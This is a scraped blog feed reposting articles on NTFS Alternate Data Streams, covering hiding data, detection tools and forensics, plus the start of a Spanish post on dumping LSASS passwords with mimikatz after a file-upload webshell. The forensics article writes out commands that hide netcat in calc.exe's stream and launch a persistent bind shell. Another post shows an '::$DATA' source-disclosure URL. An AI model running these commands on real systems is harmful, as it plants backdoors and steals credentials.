http://www.fayerwayer.com/2013/10/lifi-como-wifi-pero-con-luz-led/ </div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-40504582582857245482014-11-27T22:34:00.002-08:002014-11-27T22:34:49.839-08:00Hide Data in a Secret Text File Compartment<img alt="" height="128" src="http://cdn3.howtogeek.com/wp-content/uploads/gg/up/xsshot4cdb6dd5407c7.jpg.pagespeed.ic.Rbd4EKATCy.jpg" width="400" /><br />
In today’s edition of Stupid Geek Tricks (where we show off
little-known tricks to impress your non-geek friends), we’ll learn how
to hide data in a text file that can’t be seen by anybody else unless
they know the name of the secret compartment.<br />
<em>Note: </em>This article was originally written a couple of years
ago, but we’ve updated and polished it for Windows 7, and we’re sharing
it with all the new readers again.<br />
<h3>
Here’s How it Works</h3>
Ever since Windows 2000, the NTFS file system in Windows has supported <a class="external" href="http://msdn.microsoft.com/en-us/library/aa364056.aspx" rel="nofollow">Alternate Data Streams</a>,
which allow you to store data “behind” a filename with the use of a
stream name. It’s not detectable while browsing the file system, or
anywhere within Windows… you can only access it with the “secret key”
which is really just the name of the stream.<br />
<img alt="image" height="354" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image60.png" width="400" /><br />
You can think of these extra streams as secret compartments within
the file that can only be accessed if you know the “secret code,” which
in this case is just the name of the stream.<br />
This isn’t a completely secure way to hide data as we’ll illustrate below, but it’s a fun trick to know about in a pinch.<br />
<em>Note: This only works on a drive formatted with NTFS.</em><br />
<h3>
Hiding Data in a Secret Compartment</h3>
In order to use this feature, you’ll have to open a command prompt and use the following syntax:<br />
<blockquote>
notepad SomeFile.txt:SecretWordHere.txt</blockquote>
You can use anything after the colon as a secret word, the key is
that there can’t be any spaces between the first filename and the colon.<br />
<img alt="image" border="0" height="136" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image49.png" title="image" width="400" /><br />
If you didn’t specify .txt on the end, Notepad will automatically add
it, and ask if you want to create a new file, even if SomeFile.txt
already existed, because SecretSquirrel!.txt doesn’t already exist.<br />
<img alt="image" border="0" height="208" src="http://cdn3.howtogeek.com/wp-content/uploads/2010/11/image39.png" style="border-width: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="400" /><br />
Now you can enter in whatever data you want here and save the file:<br />
<img alt="image" border="0" height="232" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image51.png" title="image" width="400" /><br />
When you look at the file, it will still be the exact same size as before:<br />
<img alt="image" border="0" height="211" src="http://cdn3.howtogeek.com/wp-content/uploads/2010/11/image40.png" style="border-width: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="400" /><br />
You can even open up the file by double-clicking on it, and add whatever data you want to make the file look normal:<br />
<img alt="image" border="0" height="232" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image53.png" title="image" width="400" /><br />
You can use the command line again to add a second hidden “compartment” with a different name:<br />
<img alt="image" border="0" height="138" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image54.png" title="image" width="400" /><br />
You can add whatever other information to this file that you’d like:<br />
<img alt="image" border="0" height="231" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image55.png" title="image" width="400" /><br />
None of these hidden files will affect the other, or change the main
file. Just remember, you have to use the command line to access the
hidden data.<br />
<em>Note: Once you create a hidden stream, that stream isn’t exactly
part of the file… you can’t copy your file to another location and
access the streams over there.</em><br />
<h3>
Detecting Files with Streams</h3>
Of course these files aren’t completely hidden from everybody, because you can use a small command line application called <a class="external" href="http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx" rel="nofollow">Streams.exe</a> to detect files that have streams, including the names of the streams.<br />
For instance, in my scenario we’d use the following syntax:<br />
<blockquote>
streams.exe SomeFile.txt</blockquote>
<img alt="image" border="0" height="179" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image56.png" title="image" width="400" /><br />
As you can see, the names of the streams are shown, which would allow you to easily access them.<br />
If you’re using Windows 7, you can simply use the /R argument to the DIR command to see the streams:<br />
<a href="http://cdn3.howtogeek.com/wp-content/uploads/2010/11/image54.png"><img alt="image" border="0" height="163" src="http://cdn3.howtogeek.com/wp-content/uploads/2010/11/image_thumb2.png" style="border: 0px none; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="image" width="400" /></a><br />
<h3>
Deleting Streams</h3>
You can use the same Streams.exe command to delete all streams from a
file, although I don’t think you can delete just a single stream. Use
the following syntax:<br />
<blockquote>
streams.exe -d SomeFile.txt</blockquote>
<img alt="image" border="0" height="188" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image57.png" title="image" width="400" /><br />
As you can see in the screenshot, the streams are now removed from the file.<br />
<h3>
Adding to Hidden Streams from the Command Line</h3>
You can add data to a hidden stream by using a number of commands, or
really anything that can pipe input or output and accept the standard
FileName:StreamName syntax. For instance, we could use the echo command:<br />
<blockquote>
echo “Neat!” > SomeFile.txt:Test</blockquote>
<img alt="image" border="0" height="219" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image58.png" title="image" width="400" /><br />
You can see with the streams command in the example above that we now have a hidden stream on the file.<br />
<h3>
Reading a Stream From the Command Line</h3>
You can read data from the stream by piping data into the more command, using this syntax:<br />
<blockquote>
more < FileName:StreamName</blockquote>
In my example the actual command was this:<br />
<blockquote>
more < SomeFile.txt:SecretSquirrel!.txt</blockquote>
<img alt="image" border="0" height="154" src="http://cdn3.howtogeek.com/wp-content/uploads/2008/10/image59.png" title="image" width="400" /><br />
As you can see, the secret data that we added is outputted to the console.<br />
<hr />
Of course, this isn’t a secure way to hide data—for that you should use <a href="http://www.howtogeek.com/howto/6169/use-truecrypt-to-secure-your-data/" target="_blank">TrueCrypt</a>. It’s just one of those things that can be fun to use and might come in handy here or there.<br />
Learning is fun, isn’t it?<br />
<br />
Fuente: http://www.howtogeek.com/howto/windows-vista/stupid-geek-tricks-hide-data-in-a-secret-text-file-compartment/ Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-67011059071858465722014-11-27T22:30:00.005-08:002014-11-27T22:30:58.169-08:00NTFS Alternate Data Streams: Hiding data in plain sight since 1993I recently read an article in the <a href="http://www.en.hakin9.org/">Hackin9</a>
magazine (worth taking a look if you haven’t heard about it) about
alternate data streams (ADS) in NTFS. I had heard about this hidden
feature in NTFS a long time ago actually, but over the years forgot
about its existence again.<br />
<br />
<b>Background</b><br />In a nutshell, the NTFS file system, which was
introduced with Windows NT 3.1, supports ADS – sometimes also referred
to as “hidden streams”. This means that you can attach or associate any
number of files to an existing file, yet those files will not be visible
to the vast majority of file management applications – including
explorer and the “dir” command (Vista can show ADS with a parameter).
One thing I find interesting about streams is that a lot of people in IT
do not seem to<br />
know about them, even people otherwise very familiar with the Windows<br />
Operating System.<br />
Now, streams are created and accessed by appending the “host” file
name with a colon, followed by the name of the stream. Let’s say you
want to create a text file called financials.txt and hide it with
winhelp.exe, you would run <b>notepad C:\Windows\winhelp.exe:financials.txt</b>.
This will bring up notepad which will prompt you to create the file
since it doesn’t exist (since the alternate stream is basically a file).
You can then save any text in the hidden file and save it. You will
notice that the file you just created will not show up when you do a
directory list (<b>dir C:\Windows</b>) and will also not show up in the Windows Explorer. Note that the <b>timestamp of the host file will change</b> however.<br />
Now there are of course a variety of utilities that have been
developed in the last 15 (!) years that will allow you to find hidden
streams, but more on that later. Hidden streams still exist on Vista and
later, though the feature seems to have become more restrictive. <br />
There are apparently no limits as to how many streams one can
associate with a file, or the type of file that can be associated. This
means that you can associate an executable as much as you can an ASCII
file. There are however some limitations as to how user mode
applications (e.g. notepad) can access hidden streams.<br />
Let’s go back to
the previous example where we created the file financials.txt in
winhelp.exe. If you open a command prompt and execute <b>type C:\Windows\winhelp.exe:financials.txt</b>,
then you will not be able to see the contents of the hidden file. If
you use notepad instead however, you will be able to see the file (<b>notepad C:\Windows\winhelp.exe:financials.txt</b>).
This is probably because cmd.exe and its built-in commands up until
Windows XP are not aware of alternate streams. ON a Windows XP machine I
also could not open that same file if I tried to open it from inside
notepad with the File -> Open command.<br />
<br />
<b>Creating Streams</b><br />Things get more interesting when you
attach executables to files – and execute them! Let’s say I wanted to
hide popular windows game solitaire inside the file
C:\Windows\wganotify.log and call the stream “calc.exe”. Here is what
you do:<br />
type system32\sol.exe > C:\Windows\WgaNotify.log:calc.exe<br />start C:\windows\WgaNotify.log:calc.exe<br />
<br />
<b>Auditing Alternate Data Streams</b><br />Those of you interested in
auditing will probably wonder how Windows tracks access to hidden
streams in the event log. Well, there is good and bad news. The bad news
is that object tracking (the famous event 560) does <b>not show hidden streams</b>,
and instead only shows the “host” file name being accessed. Process
Tracking on the other hand shows hidden streams in the expected manner.
For the above example, a 592 event will show that file
C:\windows\WgaNotify.log:calc.exe was executed.<br />
<br />
<b>Exploiting Streams</b><br />Scary, huh? This opens up a can of worms
when you think about malware hiding inside otherwise innocent files –
such as a log file. At appears as if most AntiVirus products do not
detect hidden streams, at the same time there doesn’t seems to be a
significant number of mainstream malware applications out there are that
rely on hidden streams. I’m not sure why that is, since this feature
seems almost too good to be true for the writer of any malicious
applications. One reason might be that malware writers mostly target
home machines, and many of those computers are still formatted with the
FAT(32) file system, which of course doesn’t support ADS. This might
change over time though, as more (home) computers use NTFS as their file
system.<br />
So after reading up on ADS, playing around with it last week,
scanning my computer for hidden streams, I arrived at the inevitable
question: What is the higher purpose of Alternate Data Streams? I mean,
many applications don’t support it, most people don’t know about it, and
a scan didn’t reveal any hidden streams besides a couple inside some
Microsoft installers that apparently use them as some sort of meta data.<br />
As it turns out, ADS was created for compatibility with the <a href="http://en.wikipedia.org/wiki/Hierarchical_File_System">Macintosh HFS file system</a>, which uses a data fork and resource fork to store data in a file (OS X now uses the <a href="http://en.wikipedia.org/wiki/HFS_Plus">HFS+ file system</a>).
But over the years (it’s been 15 after all) some developers at
Microsoft decided to utilize this feature. For example, when you specify
summary information about a file (right-click -> properties ->
summary), then this information will be stored in ADS.<br />
As mentioned earlier, there have been some improvements in regards to
ADS with Vista and later. Vista can now show alternate streams with the
<b>/R</b> switch of the “dir” command. My preliminary research also
shows that hidden streams can no longer be executed in Vista or later –
so what we did in the above example will not work. I think that’s a good
thing, since there really is no practical reason (unless you develop
malware) to do this. The screen shot below shows the output of a regular
dir command and the <b>dir /R</b> command on a Windows 2008 server (note the file <b>setupact.log</b>).<br />
<span class="mt-enclosure mt-enclosure-image"><img alt="ADS_Win2k8.jpg" class="mt-image-center" height="369" src="http://www.eventsentry.com/blog/ADS_Win2k8.jpg" style="display: block; margin: 0pt auto 20px; text-align: center;" width="400" /></span>In
my humble opinion, Microsoft should get rid of alternate streams in
future versions of Windows, and instead come up with some sort of
structured way of embedding meta data in files. Anything contained in
meta data should be non-executable and limited in size, e.g. 256kb.<br />
<br />
<b>Discovering Streams</b><br />
<br />So what does all this mean for you, the
person responsible for security in your network? How can you find
hidden streams and detect if streams are being added to files?<br />
There are many free third-party utilities out there that show and
manipulate hidden streams, but the discovery of this feature led us to
extend the functionality of the <a href="http://www.eventsentry.com/features/FILEMONITORING">File Monitoring</a> feature of <a href="http://www.eventsentry.com/">EventSentry</a>
to include the automatic detection of hidden streams in real-time. This
means that any stream added, modified or removed from a file in a
monitored location will be detected by EventSentry.<br />
We have also developed a new command-line tool, adslist.exe, that
will list all alternate data streams on a directory and optionally its
sub directories. The tool is part of the NTToolkit v1.96 and I recommend
that you schedule to run this tool with the <a href="http://www.eventsentry.com/features/CUSTOMMONITORING">Application Scheduler</a> feature of <a href="http://www.eventsentry.com/">EventSentry</a> on a regular basis, or schedule it with the Windows Task Scheduler and email the results (<b>adslist.exe C:\ /s</b>).
The advantage of using EventSentry is that the results of adslist.exe
can automatically be emailed to you only if alternate streams were
found. You can do this because the %ERRORLEVEL% is set to 1 by
adslist.exe when one or more streams are found. The screenshot below
shows what this would look like in the email sent by EventSentry:<br />
<span class="mt-enclosure mt-enclosure-image"><img alt="EventSentry_ApplicationScheduler_ADSList.png" class="mt-image-center" height="182" src="http://www.eventsentry.com/blog/EventSentry_ApplicationScheduler_ADSList.png" style="display: block; margin: 0pt auto 20px; text-align: center;" width="400" /><b>Manipulating Streams</b></span>While
Microsoft doesn’t offer a tool to search for and discover alternate
data streams, they do offer a good explorer-extension that allows you to
view and <b>delete</b> alternate data streams. You can download it from <a href="http://download.microsoft.com/download/F/C/6/FC6943EB-790A-44AA-B32D-14ED7E22FD5D/NTFSExt.exe">http://download.microsoft.com/do<br />
wnload/F/C/6/FC6943EB-790A-44AA-B32D-14ED7E22FD5D/NTFSExt.exe</a>, the
zip file contains the source code as well as another utility to create
hard links on NTFS volumes. After extracting the archive, navigate to
the \StrmExt\ReleaseMinDependency folder and run <b>regsvr32 StrmExt.dll</b>. You will then have an additional tab when viewing file properties in explorer called “Streams”:<br />
<span class="mt-enclosure mt-enclosure-image"><img alt="StrmExt.jpg" class="mt-image-center" height="400" src="http://www.eventsentry.com/blog/StrmExt.jpg" style="display: block; margin: 0pt auto 20px; text-align: center;" width="348" /></span>Another
way to get rid of hidden streams is to copy a file to a FAT[32] volume
and then back to the NTFS volume, or – if you don’t have a FAT[32]
volume available – simply compress and uncompress the file again.<br />
Well, I hope this gives you a better understanding of alternate data
streams, even if you were already familiar with them. Like I mentioned
earlier, it doesn’t appear as if ADS is used for evil in a large scale
quite yet (so no reason to panic!), but I believe it is better to be
safe than sorry.<br />
<br />
Fuente: http://www.eventsentry.com/blog/2008/07/ntfs-alternate-data-streams-hi.html Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-5838189170487965842014-11-27T22:27:00.001-08:002014-11-27T22:28:18.637-08:00Dissecting NTFS Hidden Streams<div>
by Chetan Gupta<br />
NII Consulting, Mumbai<br />
<a href="http://www.niiconsulting.com/">www.niiconsulting.com</a></div>
<br />
<div>
Cyber
Forensics is all about finding data where it is not supposed to exist.
It is about keeping the mind open, thinking like the evil attacker and
following the trails taking into account any potential source of
evidence. After the analyst has created the disk image of the suspect
disk, he needs to analyze the file system for any signs of compromise.
The most popular file systems encountered by the analysts are FAT, NTFS,
UFS, EXT, and CDFS. Most of the workstations use Microsoft Windows as
their preferred Operating System and use NTFS as the file system of
choice. I am not going to go into the details of this robust and secure
file system but I would be talking about a particular feature of this
file system which was designed to offer compatibility with Macintosh
Hierarchical File System (HFS) and store additional data called metadata
for a file. This feature is known as ALTERNATE DATA STREAMS (ADS).
<br />
<table align="left" border="0" cellpadding="10">
<tbody>
<tr>
<td></td>
</tr>
</tbody></table>
The Macintosh file system stores its data in two parts, the resource
fork and the data fork. The data fork is where the data is actually
contained and the resource fork tells the operating system how to
interpret the data fork. Alternate Data Streams is the Microsoft way of
implementing resource fork. The ADS is a hidden stream in addition to
the regular data stream which contains the main data for the file. This
hidden stream contains metadata for the file such as the file
access/modification times, attributes etc. However, in Windows, the
operating system decides how to use the particular data found in the
files based on file extensions such as .bat, .exe, .txt, and .html.
<br />
<u>Background</u>
<br />
ADS were introduced into the Windows NTFS file system starting in
Windows NT 3.1. This feature is not well documented and most users
including developers are unaware of it. Now the question is why
Microsoft would introduce such a feature. The answer to that would be
the need to add "extra" information to the files without altering the
original file format or content. This extra information is the metadata
about the file. This metadata is arranged in the form of streams that
attach to the main data stream (the stream which is visible to a normal
user). For example, one file stream could hold the security information
for the file such as access permissions while another one could hold
data that describes the purpose of the file, its author and the MAC
times.
<br />
These metadata containing streams are hidden files that are linked to a
normal visible file. Many applications use ADS to store attributes of a
file in them. For example, if you create a word document and right click
and go into its properties, you can see a summary page which contains
information that contains metadata about the data contained in the file.
The metadata includes the author of the document, word count, no of
pages and so on. This summary information is attached to the file via
ADS.
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-1.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-1.jpg" /></a>
<br />
Figure1. The summary tab displaying metadata
<br />
<br />
Quoting Microsoft,<br />
"When you read the content of a file under a non-NTFS volume (say, a
disk partition of a Windows 98 machine) you're able to access only one
stream of data. Consequently, you perceive it as the real and 'unique'
content for that file. Such a main stream has no name and is the only
one that a non-NTFS file system can handle. However when you create a
file on an NTFS volume, things might be different."
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-2.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-2.jpg" /></a>
<br />
Figure2. The structure of a multi-stream file
<br />
Ref. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp
<br />
<br />
<u>10 Things to know about ADS</u>
<br />
1. There is no limit on the size of streams and there can be more than
one stream linked to a normal file. ADS are not visible in explorer or
via command prompt. In fact, their size is also not reported by Windows!<br />
2. Streams can be attached not only to files but also to folders and drives!<br />
3. The content of an ADS should not be considered limited to simply text
data. Any stream of binary information can constitute a file which
includes executables, Mpeg files, Jpeg files etc.<br />
4. ADS have no attributes of their own. The access rights assigned to
the default unnamed stream are the rights that control any operation on
ADSs such as creation, deletion or modification. This means if a user
cannot write to a file, that user cannot add an ADS to that file. A user
with guest privileges can also create such streams in every file where
he has write access.<br />
5. Some Browser helper Objects (BHOs) have started storing their
malicious files inside ADS and very few anti-spyware/malware actually
detect it.<br />
6. Windows File Protection prevents the replacement of protected system
files; it does not prevent a user with the appropriate permissions from
adding ADS to those system files. The System File Checker (sfc.exe) will
verify that protected system files have not been overwritten, but will
not detect ADS.<br />
7. Microsoft Windows provides no tools or utilities either within the
operating system software distribution or the Resource Kits for
detecting the presence of ADS.<br />
8. The stream can only be executed if called directly by a program with
the full path to the file given. It is impossible to accidentally
execute a stream.<br />
9. None of the Internet protocols enabling file transfer such as SMTP,
FTP etc. support streams. This means that ADS can't be sent via
Internet. However, files containing ADS can be sent across a local LAN
provided the target drive is in the NTFS format.<br />
10. In certain cases, streams have been used to remotely exploit a web
server. Some web servers are susceptible to having their file source
read via the: $DATA stream. If a server side script such as PHP or ASP
is running on a web server which is not patched properly, instead of
getting output as a result of processing the script, the source code of
the ASP/PHP file could be viewed by using a URL like this:
<br />
http://www.abcd.com/index.asp::$DATA
<br />
This is a critical vulnerability as the server-side source code could
reveal sensitive information including how the site has been coded and
how the information is flowing. This information could be used by the
attacker to launch a specific attack on the server.
<br />
<br />
<u>How to create ADS</u>
<br />
To create ADS, we can use common DOS command 'type'. This command is
used in conjunction with a redirect [>] and colon [:] to fork one
file into another.
<br />
Examples
<br />
1. C:\Documents and Settings\CnX>type c:\nc.exe > C:\windows\system32\calc.exe:svchost.exe<br />
2. echo 'the password is xlswwe22' > c:\tst.txt:test.txt
<br />
Let's examine a scenario in which an attacker successfully compromises a
remote system and then leaves a backdoor by planting Netcat in the
machine. He does not want to create a visible file which has a greater
risk of being detected. Instead, he is aware that the file system used
by the computer is NTFS and intends to use the ADS feature to hide his
files. He runs a command to cleverly hide Netcat (nc.exe also known as
Swiss Army knife tool for hackers) into calc.exe which is the Windows
integrated calculator program.
<br />
Also, he changes the file name from nc.exe to a relatively more common
process called svchost.exe which may help in it being overlooked by
innocent administrators.
<br />
C:\Documents and Settings\CnX>type c:\nc.exe > C:\windows\system32\calc.exe:svchost.exe
<br />
He then runs the following command:
<br />
C:\Documents and Settings\CnX> start /B C:\windows\system32\calc.exe:svchost.exe -d -L -p 2222 -e cmd.exe
<br />
Important note: The /B option allows the attacker to run the command
without spawning a new window (which could alert the user that something
is going on without his knowledge)
<br />
Now, this is very dangerous as the attacker has bound a shell on port
2222 and can get access to the system anytime he wants by performing a
simple telnet on the port 2222.
<br />
As you can see from the snapshot, there is no change in the size of the
calc.exe. The only visible change is in the modification date and time
of the calc.exe program which is overlooked by many users. More
importantly, I have run the famous system file checker utility inbuilt
in Windows.
<br />
This utility will check whether any of the system files have been
modified. This feature is called as the Windows File Protection feature.
Ideally, if a system file is changed, the WFP feature will replace it
with the original file and this would be logged in the event viewer with
an event id of 64002 and a message like this:
<br />
File replacement was attempted on the protected system file calc.exe.
This file was restored to the original version to maintain system
stability. The file version of the system file is 5.1.2600.0.
<br />
But as you can see from the snapshot, the sfc.exe utility doesn't report anything!
<br />
I then run the netstat utility to show that the port 2222 was indeed
listening for a connection and would return a shell when the attacker
performs a telnet to the system on port 2222. And don't forget that the
listener created a persistent listener and would continue to listen on
the port even after one connection is closed (thanks to the -L option of
Netcat)!
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-3.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-3.jpg" width="468" /></a>
<br />
Figure3. ADS Demonstration
<br />
Let's see how the process looks like in the task manager (CTRL+ALT+DEL)
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-4.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-4.jpg" /></a>
<br />
Figure4. Windows Task Manager displaying the hidden EXE
<br />
<br />
<u>Tools to find ADS</u>
<br />
First you would like to check whether your system supports ADS or not. The utility to do that is AdsCheck.exe.
<br />
1. AdsCheck.exe (http://www.diamondcs.com)
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-adscheck.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-adscheck.jpg" width="468" /></a>
<br />
<br />
2. Lads.exe (www.heysoft.de)
<br />
One of the best tools available for ADS is lads.exe, written by Frank
Heyne. 'Lads.exe' does an excellent job of reporting the availability of
ADS.
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-5.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-5.jpg" width="468" /></a>
<br />
Figure5. Demonstrating lads.exe
<br />
<br />
3. LNS - List NTFS Streams (http://ntsecurity.nu/toolbox/lns/)
<br />
LNS is a tool that searches for NTFS streams (alternate data streams or
multiple data streams). This can be useful in a forensic investigation.
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-6.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-6.jpg" width="468" /></a>
<br />
Figure6. Demonstrating lns.exe
<br />
<br />
4. Ads Spy (http://www.spywareinfo.com/~merijn/files/adsspy.zip)
<br />
Ads Spy is a tool used to list, view or delete Alternate Data Streams
(ADS) on Windows 2000/XP with NTFS file systems. This tool can not only
detect the ADS but also remove them with the click of a button
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-7.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-7.jpg" width="468" /></a>
<br />
Figure7. Demonstrating Ads spy
<br />
<br />
5. SFind (http://www.foundstone.com)
<br />
SFind scans the disk for hidden data streams and lists the last access times.
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-8.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-8.jpg" width="468" /></a>
<br />
Figure8. Demonstrating SFind.exe
<br />
6. Streams.exe (http://www.sysinternals.com/utilities/streams.html)
<br />
Streams.exe examines the files and directories you specify and informs
you of the name and sizes of any named streams it encounters within
those files. Streams.exe makes use of an undocumented native function
for retrieving file stream information.
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-9.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-9.jpg" width="468" /></a>
<br />
Figure9. Demonstrating Streams.exe
<br />
<br />
7. Hijackthis (http://www.merijn.org/files/hijackthis.zip) -- *RECOMMENDED*
<br />
Hijackthis is an award winning tool which examines certain key areas of
the Registry and Hard Drive and lists their contents. These are areas
which are used by both legitimate programmers and hijackers. It is an
advanced utility which I use after I have run spybot - search and
destroy. The best feature about Hijackthis is that you can save a log
file and submit for an online analysis at http://www.hijacthis.de. The
analysis would help you get a better understanding of the processes
running on your system.
<br />
Hijackthis includes many other tools such as StartupList log, Ads Spy,
Hosts file manager, etc. which make it one great tool for any
administrator.
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-10.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-10.jpg" width="468" /></a>
<br />
Figure10. Demonstrating Hijackthis tool
<br />
<br />
8. Listing ADS via streams tab in the properties window - The Microsoft way
<br />
Download NTFSext.exe from http://download.microsoft.com/download/F/C/6/FC6943EB-790A-44AA-B32D-14ED7E22FD5D/NTFSExt.exe
NTFSext.exe contains a DLL file called strmext.dll. Copy this DLL to the system32 folder and run the command
<br />
regsvr32 StrmExt.dll
<br />
This will create a new tab in the file properties of Windows Explorer.
If you suspect that a file has an ADS, you can open its properties
windows and check the streams tab which would list any streams attached
with the file.
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-11.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-11.jpg" /></a>
<br />
Figure11. Demonstrating streams tab
<br />
In order to achieve the same for the folders as well, you need to add
the following two registry entries by running regedit.exe from the run
browser
<br />
HKEY_CLASSES_ROOT\Directory\shellex\PropertySheetHandlers\{C3ED1679-814B-4DA9-AB00-1CAC71F5E337}
HKEY_CLASSES_ROOT\Drive\shellex\PropertySheetHandlers\{C3ED1679-814B-4DA9-AB00-1CAC71F5E337}
<br />
<br />
Retrieving a file's contents from an Alternative Data Stream
<br />
1. If its an executable, you can run it using the inbuilt start command
in Windows or you can use "psexec.exe" tool available at
http://sysinternals.com<br />
2. If its a normal text file you can use cat command available in
Windows resource kit or use the more command available in Windows
<br />
<a href="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-12.jpg"><img src="http://www.forensicfocus.com/images/other/dissecting-ntfs-hidden-streams-12.jpg" width="468" /></a>
<br />
Figure12. Retrieving ADS contents
<br />
<br />
<u>Removing ADS from a file</u>
<br />
An ADS attached to a file can be removed by using the following methods:
<br />
1. Using tools such as Ads Spy, Hijackthis, Streams.exe, or from the streams tab in the properties window of a file<br />
2. Copying the file to a Non-NTFS file system such as FAT32 which does not support ADS<br />
3. Moving the contents of the main unnamed stream into another file by using the following command:
<br />
more < original.exe > originalcopy.exe - copies only the main unnamed stream<br />
ren originalcopy.exe original.exe -- rename the file to its original name
<br />
<br />
<u>Conclusion</u>
<br />
NTFS ADS is a useful feature which is increasingly being exploited by
hackers to hide malicious files. The grave concern for security
practitioners is that the awareness about this feature is extremely low.
If the malicious files hidden in the ADS already exist on the victim's
system (in cases where the Anti-virus is turned off or disabled), then
some of the most popular anti-virus software such as Norton 2005 and
anti-spyware such as Spybot - SnD and Microsoft Anti-Spyware do not
report ADS. However, if a file with infected ADS is being written to the
disk, the anti-virus detects it. This means if the users are using
specialized tools like the ones mentioned above, there is a possibility
for the malicious files to exist on the victim's system and lie there
undetected.
<br />
<br />
<u>References</u>
<br />
1. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnfiles/html/ntfs5.asp<br />
2. http://www.diamondcs.com.au/index.php?page=archive&id=ntfs-streams<br />
3. http://www.auditmypc.com/freescan/readingroom/ntfsstreams.asp<br />
4. http://www.securityfocus.com/bid/149/info<br />
<br />
Fuente:<br />
http://www.forensicfocus.com/dissecting-ntfs-hidden-streams </div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-77408070990817291172014-11-26T12:24:00.001-08:002014-11-26T12:24:37.075-08:00EXTRAYENDO CONTRASEÑAS DE LA RAM CON MIMIKATZ 2.0 (ALFA) M<b>imikatz 2.0 (ALFA)</b>, esta herramienta puede ser particularmente útil durante la etapa de explotación de vulnerabilidades en un servicio de <i>pentest</i>,
por ejemplo la explotación de una aplicación web vulnerable a carga de
archivos (File Upload) sin restricciones en muchos ataques es el primer
paso para tomar control del sistema objetivo.
<br /><br />
A continuación, el ataque sólo tiene que encontrar la manera de ejecutar
código luego de subir la respectiva webshell "phpshel.php" vemos que
nos encontramos con permisos de "NT AUTHORITY\SYSTEM" y queremos extraer
la clave del "Administrator", lo primero que pensamos es "la hago con
meterpreter" y cuando logramos subirlo el antivirus del servidor web
afectado reconoce dicha herramienta como código "malicioso"...
<br /><br />
Para este caso podríamos utilizar la técnica que nos presenta <b>mimikatz 2.0 (ALFA)</b> puesto que en esta nueva versión ya no es necesario “inyectar” la librería "sekurlsa.dll" en el proceso de LSASS <b>mimikatz# inject::process lsass.exe sekurlsa.dll</b>,
en esta nueva versión la técnica se basa en la obtención de contraseñas
en texto plano volcando el proceso LSASS.EXE desde la memoria RAM, sin
necesidad de ejecutar código "malicioso" en el servidor, de esta forma
se evita tener que lidiar con técnicas de evasión antivirus y otros
dolores de cabeza.
<br />
<br />
En este post me gustaría mostrar paso a paso como podemos usar la
funcionalidad de mimikatz 2.0 (ALFA) explotando una aplicación web
vulnerable a carga de archivos sobre un servidor Windows 2008.
<br />
<br />
<b>1.SUBIENDO LAS HERRAMIENTAS</b>
<br />
<br />
Subir las herramientas usando una aplicación vulnerable a carga de archivos (File Upload).
<br />
En caso de tener problemas para hallar la ruta en donde se han almacenado los archivos cargados en el servidor, podríamos usar <b><a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project" target="_blank">Dirbuster</a></b>
para tratar de descubrir el directorio en donde se encuentren nuestros
archivos en este caso se hallaron en "/webapp/admin/panel/images/"
<br />
<br />
<b>phpshell.php</b>; para realizar la ejecución de comandos en el servidor web afectado.<br />
<b>procdump.exe</b>; nos permitirá realizar el volcar el espacio de memoria RAM del proceso LSASS.EXE a un archivo.dmp (dump)
<br />
<br />
<br />
